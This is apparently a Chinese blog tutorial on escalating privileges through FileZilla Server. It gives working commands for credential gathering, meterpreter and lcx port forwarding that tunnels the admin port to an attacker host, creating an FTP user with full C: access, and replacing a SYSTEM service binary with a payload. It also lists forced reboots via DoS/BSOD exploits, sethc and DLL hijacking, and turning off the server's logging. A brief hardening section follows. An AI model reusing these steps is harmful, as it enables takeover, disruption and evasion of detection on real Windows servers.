首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >FileZilla Server提权与常见问题

FileZilla Server提权与常见问题

作者头像
潇湘信安
发布于 2022-09-22 01:52:44
发布于 2022-09-22 01:52:44
3.4K00
代码可运行
举报
文章被收录于专栏:潇湘信安潇湘信安
运行总次数:0
代码可运行

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

FileZilla是一款非常流行的免费、开源FTP软件,分为客户端FileZilla Client和服务器端FileZilla Server两个版本,具备所有FTP软件功能。可控性、有条理的界面和管理多站点的简化方式使得FileZilla Client成为一个方便高效的FTP客户端工具,而FileZilla Server则是一个小巧且支持FTP、FTPS、SFTP等文件传输协议的FTP服务器软件,官方网站:https://filezilla-project.org/

本地测试环境信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
操作系统:Windows Server 2003 x86 & Windows Server 2008 R2 x64
软件版本:FileZilla_Server-0_9_44.exe、FileZilla_3.6.0.2_win32.exe
默认安装路径:C:\Program Files (x86)\FileZilla Server\
FileZilla Server进程:FileZilla Server.exe、FileZilla Server Interface.exe
FileZilla Server服务:FileZilla Server
FileZilla Server端口:2114147

0x02 信息搜集

(1) 前期信息搜集时我们可以先尝试用Nmap等端口扫描工具进行简单的扫描,这样能够得到目标机器使用的FileZilla软件版本等信息。

(2) 首先利用tasklist /svc命令查看FileZilla相关进程、服务名以及进程PID值。

然后用netstat -ano命令查看PID值为1204的运行端口号是不是默认的14147。

最后再用sc qc "FileZilla Server"命令查看FileZilla Server服务相关配置信息。

(3) 也可以直接使用Metasploit下的filezilla_server模块来查找FileZilla Server软件的安装路径、配置文件以及FTP用户凭证、磁盘权限等信息。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
windows/gather/credentials/filezilla_server

FileZilla Server Interface.xml配置文件里存放着FileZilla Server服务端在连接时的登录信息,如下表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<FileZillaServer>
  <Settings>
    <Item name="Last Server Address" type="string">127.0.0.1</Item>     //连接IP地址
    <Item name="Last Server Port" type="numeric">14147</Item>           //连接端口号
    <Item name="Last Server Password" type="string">90sec!@#123</Item>  //连接密码
    <Item name="Always use last server" type="numeric">0</Item>
  </Settings>
</FileZillaServer>

FileZilla Server.xml配置文件里存放着FTP用户信息,包括用户、密码、管理目录和权限等,如下表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<FileZillaServer>
  <Settings>
        <Item name="Admin port" type="numeric">14147</Item>
  </Settings>
  <Groups />
  <Users>
     <User Name="3had0w">    //FTP用户
       <Option Name="Pass">e10adc3949ba59abbe56e057f20f883e</Option>  //FTP密码
       <Option Name="Group"></Option>
       <Option Name="Bypass server userlimit">0</Option>
       <Option Name="User Limit">0</Option>
       <Option Name="IP Limit">0</Option>
       <Option Name="Enabled">1</Option>
       <Option Name="Comments"></Option>
       <Option Name="ForceSsl">0</Option>
       <Option Name="8plus3">0</Option>
       <IpFilter>
            <Disallowed />
            <Allowed />
       </IpFilter>
            <Permissions>
                <Permission Dir="C:">        //管理目录为C盘,权限1=有,0=没有
                    <Option Name="FileRead">1</Option>       //有文件读取权限
                    <Option Name="FileWrite">1</Option>      //有文件写入权限
                    <Option Name="FileDelete">1</Option>     //有文件删除权限
                    <Option Name="FileAppend">1</Option>     //有文件追加权限
                    <Option Name="DirCreate">1</Option>      //有创建目录权限
                    <Option Name="DirDelete">1</Option>      //有删除目录权限
                    <Option Name="DirList">1</Option>        //有列出目录权限
                    <Option Name="DirSubdirs">1</Option>     //有加子目录权限
                    <Option Name="IsHome">1</Option>
                    <Option Name="AutoCreate">0</Option>
                </Permission>
            </Permissions>
            <SpeedLimits DlType="0" DlLimit="10" ServerDlLimitBypass="0" UlType="0" UlLimit="10" ServerUlLimitBypass="0">
                <Download />
                <Upload />
            </SpeedLimits>
     </User>
  </Users>
</FileZillaServer>

注:这两个配置文件在安装时默认只给了users组的读取/执行权限,所以在Webshell下没有权限对这两个文件进行修改和删除,但我们在本地机器上连接目标服务器的14147端口后(SYSTEM),如果成功创建、修改、删除用户时配置文件也会随之更新。

0x03 提权过程

(1) 将目标机器上的C:\Program Files (x86)\FileZilla Server\整个文件夹打包下载到我们本地,然后在Meterpreter会话中用portfwd命令将目标机器运行的Filezilla Server软件管理端口14147给转发到我们Kali机器的12345端口。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
meterpreter > portfwd add -r 127.0.0.1 -p 14147 -l 12345

(2) 这里因为我们已经将目标机器的14147端口转发到了Kali机器12345端口了,所以在本地机器上运行Filezilla Server软件时填写的是Kali机器的IP地址和端口,否则可能连接不上。

(3) 我们连接上Filezilla Server软件后就可以创建FTP用户名和密码了,这里笔者创建了一个具有C盘权限的FTP用户,并给予了文件的读取/写入/删除/追加,目录的列出/创建/删除等权限。

(4) 提权思路在后边会有一个简单总结,这里笔者就先以“替换系统服务”进行举例。在我们成功创建FTP用户后先不着急去FTP客户端连接,先在“中国菜刀”的命令行中执行以下命令找一个以SYSTEM权限运行,启动方式为Auto的服务,或用sc qc MySQLa命令查看。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic service get Name,State,PathName,StartMode,StartName | findstr /i "Auto" | findstr /i "LocalSystem" | findstr /i "Running"

(5) FTP客户端里替换我们刚找到的C:\phpStudy\MySQL\bin\mysqld.exe文件为我们的攻击载荷文件,然后通过某些蓝屏重启EXP或者等待服务器管理员重启服务器,从而达到权限提升目的,Metasploit下的蓝屏重启模块有以下几个。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
MS12-020 - CVE-2012-0002 - KB2621440  -(auxiliary/dos/windows/rdp/ms12_020_maxchannelids)
MS15-034 - CVE-2015-1635 - KB3042553  -(auxiliary/dos/http/ms15_034_ulonglongadd)
CVE-2018-8897  -(exploit/windows/local/mov_ss)
[...SNIP...]

注:如果经常遇到获取Meterpreter会话后自动断开的情况,可以尝试在监听模块设置下自动运行进程迁移脚本的参数可能就好了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe

0x04 思路总结

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1LPK.DLL劫持,将lpk.dll上传至可执行文件目录下。(2003,不用重启!)
2、替换系统程序,C:\Windows\System32\sethc.exe。(2003,不用重启!)
3、替换系统服务,找启动方式为Auto(自动)服务,替换对应程序。(2008,需要重启!)
4、篡改快捷方式,如:phpStudy.lnk,C:\phpStudy\phpStudy.exe。(需要管理员打开快捷方式!)
5、上传启动目录,C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup(2008,需要重启并登录!)

0x05 常见问题

本地机器监听51端口,连接用14147端口,实战中如果本地属内网环境需要先在路由器将51端口映射出来,然后执行监听,成功接收到返回数据后再连接Filezilla Server。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
本地机器:
C:\>lcx.exe -listen 51 14147

目标机器:
/c C:\aspSmartUpload\lcx.exe -slave {攻击者外网IP} 51 127.0.0.1 14147

lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
TCP       9*.1*9.4.1*3:139        0.0.0.0:0               LISTENING         4
TCP       9*.1*9.4.1*3:54133      1*3.2*1.*7.1*8:51       ESTABLISHED     2028
TCP       127.0.0.1:53            0.0.0.0:0               LISTENING       1040
TCP       127.0.0.1:14147         0.0.0.0:0               LISTENING       1088
TCP       127.0.0.1:14147         127.0.0.1:49160         ESTABLISHED     1088
TCP       127.0.0.1:49160         127.0.0.1:14147         ESTABLISHED     5736

问题描述1:

可以通过lcx.exe工具将FileZilla Server的14147端口转发出来,但是返回数据中出错了,最终导致连接不上FileZilla Server。

解决办法1:

Meterpreter会话中使用portfwd命令进行转发,然后即可连接上目标的FileZilla Server。

问题描述2:

连接上FileZilla Server并成功添加一个具备C盘权限的FTP用户,但在连接时仍然报错。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
CMD命令行和FlashFXP连接报错:
421 Server is locked, please try again later.

解决办法2:

在FileZilla Server软件界面中找到一个“锁”图标,只需点击一下解锁即可连接FTP了。

0x06 新版变更

(1) 运行FileZilla Server 0.9.60_2前必须安装KB2533623补丁,否则可能出现以下报错。

(2) 这个版本中删除了FileZilla Server Interface.xml,而且对FileZilla Server.xml存储的FTP密码的加密方式也进行了变更,加了SALT,无法直接通过解密Md5密文得到FTP的明文密码,但是仍然可以通过转发14147端口连接FileZilla Server并修改FTP密码和权限,这个方法不到万不得已并不建议使用。

0x07 注意事项

  1. 在实际渗透测试过程中请注意备份要替换的文件,方便我们能够快速恢复到原始状态。
  2. 本地机器连接上FileZilla Server后关闭Eidt->Settings->Logging、SSL/TLS、Autoban选项。
  3. 自己安装的FileZilla Server可能会因为与目标版本不一致而出现“版本不同,协议错误”等问题。
  4. FileZilla Server>=0.9.44不再支持XP、2003,如需在低版本操作系统上测试时请选择<=0.9.43。
  5. FTP分为主动和被动连接,Filezilla的21端口不能被转发出来,21端口转发出来后被动连接就会变成主动连接,而Filezilla是不支持主动连接的,就会发生积极拒绝的情况:“504 MODE Z not enabled”或者“数据socket错误:连接已拒绝”。
  6. 2008及以上系统的权限配置上要比2003严格的多,所以不能对System32目录下的文件进行修改/删除/重命名等操作,也就是不能用“替换系统程序”进行提权,用“替换系统服务”进行提权时建议找第三方服务,如:Apache2a、MySQLa等。在进入系统后替换的服务会处于停止状态,需要恢复替换文件并重启这个服务。

0x08 加固方案

  1. 新建一个FileZilla用户(Users组),用这个用户来运行“FileZilla Server”服务。
  2. 删除“FileZilla Server”安装目录Users组所有权限,添加FileZilla用户所有权限。
  3. FileZilla Server管理密码和FTP密码尽可能的设置复杂一些(字母+数字+特殊字符)。
  4. 启动日志记录(默认关闭),Edit->Settings->Logging->Enable logging to file、Use a different logfile each day。

0x09 参考链接

  • https://helpcdn.aliyun.com/knowledge_detail/49564.html
  • https://forum.filezilla-project.org/viewtopic.php?p=143188
  • https://support.microsoft.com/en-us/help/2533623/microsoft-security-advisory-insecure-library-loading-could-allow-remot
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Linux进程间通信--管道(pipe和fifo)
       通过管道来实现进程间的通信的方法很经典,因为多个进程共享3-4G中的内核,所以在内核中存在一个管道(缓冲区),然后进程通过连接管道的两端从而实现通信。假如说我们现在有一根管道,我们从左端放入一个小球,那么它会从右端滚出来,那么如果我们同时向两端都放入一个小球,那么就不可能实现交叉传递了,所以管道是半双工通信(即双方都可以发送信息,但是双方不能同时发送信息),因此管道的两端一端是读端,一端是写端。那么要实现两个进程的同时读写操作,就需要用两个管道。
Ch_Zaqdt
2020/03/03
4K0
Linux系统编程-进程间通信(管道)
标准流管道像文件操作有标准io流一样,管道也支持文件流模式。用来创建连接到另一进程的管道popen和pclose。 函数原型:
DS小龙哥
2022/04/08
1.3K0
Linux系统编程-进程间通信(管道)
【Linux】进程间通信:匿名管道与进程池
进程之间需要某种协同,所以如何协同的前提条件就是进程直接需要进行通信,传递有效数据
用户11029103
2025/03/13
1990
【Linux】进程间通信:匿名管道与进程池
Linux进程间通信【匿名管道】
进程间通信简称为 IPC(Interprocess communication),是两个不同进程间进行任务协同的必要基础。进行通信时,首先需要确保不同进程之间构建联系,其次再根据不同的使用场景选择不同的通信解决方案,本文主要介绍的通信解决方案为 匿名管道
北 海
2023/07/01
4330
Linux进程间通信【匿名管道】
进程间的通信--管道
进程之间需要协同。 例如,学校里面的各个管理层之间都是互相联系的,不能只是纵向管理。正是因为进程之间需要协同,协同的前提条件是进程之间需要通信,数据是有类别的,有的数据是通知就绪的,有些数据是单纯所传递数据,有的是控制相关的数据。
南桥
2024/07/28
2370
进程间的通信--管道
Linux进程间通信之管道
进程间通信简称IPC(Interprocess communication),进程间通信就是在不同进程之间传播或交换信息。
咬咬
2024/06/12
1540
Linux进程间通信之管道
详解管道
若没有进程间通信,那么也就无法使用并发能力,无法实现进程间协同。传输数据,消息通知等。
用户10786285
2023/10/30
4040
详解管道
Linux:进程间通信(一.初识进程间通信、匿名管道与命名管道、共享内存)
这种双重性使得管道既具有机制的灵活性,又具有文件的可操作性。它可以在不同的进程之间建立连接,实现数据的传递和共享,同时也可以通过标准的文件操作接口进行访问和控制。
是Nero哦
2024/07/09
6930
Linux:进程间通信(一.初识进程间通信、匿名管道与命名管道、共享内存)
【Linux】进程间通信上 (1.5万字详解)
hello,大家好呀。今天我们来学习关于进程间通信的内容,我们知道操作系统中会同时存在多个进程,这些进程有可能会共同完成一个任务,所以就需要通信。本文将讲解几种常见的进程间通信的方式。相信大家已经迫不及待的想要学习了,那我们就开始啦!
破晓的历程
2024/06/24
2980
【Linux】进程间通信上 (1.5万字详解)
【Linux】进程间通信之匿名管道
我们知道多个进程之间是互相独立的,但是有时候我们需要将一个进程的数据传递到另一个进程,实现数据传输的效果,有的时候多个进程之间要共享同样的资源,有的时候一个进程要对其他进程发送消息,实现通知事件,还有的时候一个进程要完全控制另一个进程的执行,实现进程控制
s-little-monster
2025/02/28
1401
【Linux】进程间通信之匿名管道
【Linux】进程间通信——管道
而我们所说的不同通信种类本质就是:上面所说的资源,是OS中的哪一个模块提供的。如文件系统提供的叫管道通信;OS对应的System V模块提供的…
平凡的人1
2023/10/15
4610
【Linux】进程间通信——管道
Linux系统-进程间通信
Linux进程间通信 零、前言 一、进程间通信介绍 二、管道 1、匿名管道 2、命名管道 三、system V 1、共享内存概念及原理 2、共享内存使用接口介绍 1、共享内存资源的查看 2、共享内存的创建和释放 3、共享内存的链接与去连接 4、接口使用示例 3、共享内存与管道对比 4、消息队列/信号量 零、前言 本章主要讲解学习Linux中本系统下的进程间通信 一、进程间通信介绍 概念: 进程间通信简称IPC(Inter process communication),进程间通信就是在不同进程之间传播
用户9645905
2022/11/15
3.1K0
Linux系统-进程间通信
Linux 的进程间通信:管道
本文介绍了管道(pipe)在Linux系统中的实现方式,从三个方面进行了详细阐述:管道的原理,命名管道,以及通过匿名管道进行的进程间通信。同时,文章还探讨了管道在Linux系统中的实际应用,包括shell脚本、cron任务以及Linux中的各种守护进程等。
邹立巍
2017/07/31
8.7K3
Linux 的进程间通信:管道
Linux进程通信之管道解析
管道是 UNIX系统 IPC的最古老的形式,所有的UNIX系统都提供此种通信。所谓的管道,也就是内核里面的一串缓存,从管道的一段写入的数据,实际上是缓存在内核中的,令一端读取,也就是从内核中读取这段数据。对于管道传输的数据是无格式的流且大小受限。对于管道来说,也分为匿名管道和命名管道,其中命名管道也被叫做 FIFO,下面则分别阐述这两种管道。
wenzid
2021/07/20
1.5K0
Linux进程通信之管道解析
【Linux】进程间通信详解
进程间通信(Interprocess communication,简称IPC)就是让程序员能够协调不同的进程,使之能在一个操作系统里同时运行,并相互传递、交换信息。
诺诺的包包
2023/10/15
6960
【Linux】进程间通信详解
进程间通信Linux
首先自己要用用户层缓冲区,还得把用户层缓冲区拷贝到管道里,(从键盘里输入数据到用户层缓冲区里面),然后用户层缓冲区通过系统调用(write)写到管道里,然后再通过read系统调用,被对方(读端)读取,就要从管道拷贝到读端,然后再显示到显示器上。
ljw695
2024/11/15
5110
进程间通信Linux
进程间通信(一)/管道
有时候需要多进程协同,让每一个进程专注于自己的事,然后把结果交给另外一个进程去处理。比如使用管道,让多进程协同,简单的有:
二肥是只大懒蓝猫
2023/03/30
5600
进程间通信(一)/管道
【Linux课程学习】第十九弹---深入理解进程间通信---匿名管道,命名管道,多匿名管道的BUG
https://blog.csdn.net/djdjiejsn/category_12669243.html
用户11396661
2024/12/09
1780
【Linux课程学习】第十九弹---深入理解进程间通信---匿名管道,命名管道,多匿名管道的BUG
【Linux】基于管道进行进程间通信
进程间通信是两个或者多个进程实现数据层面的交换。但是由于进程间存在独立性,所以导致进程间通信的成本比较高。
YoungMLet
2024/03/01
3030
【Linux】基于管道进行进程间通信
进程间通信(27000字超详解)
匿名管道通信 认识管道 匿名管道 匿名管道测试 管道的四种情况 管道的五种特性 管道的读写规则
用户11029129
2024/06/04
4990
推荐阅读
相关推荐
Linux进程间通信--管道(pipe和fifo)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验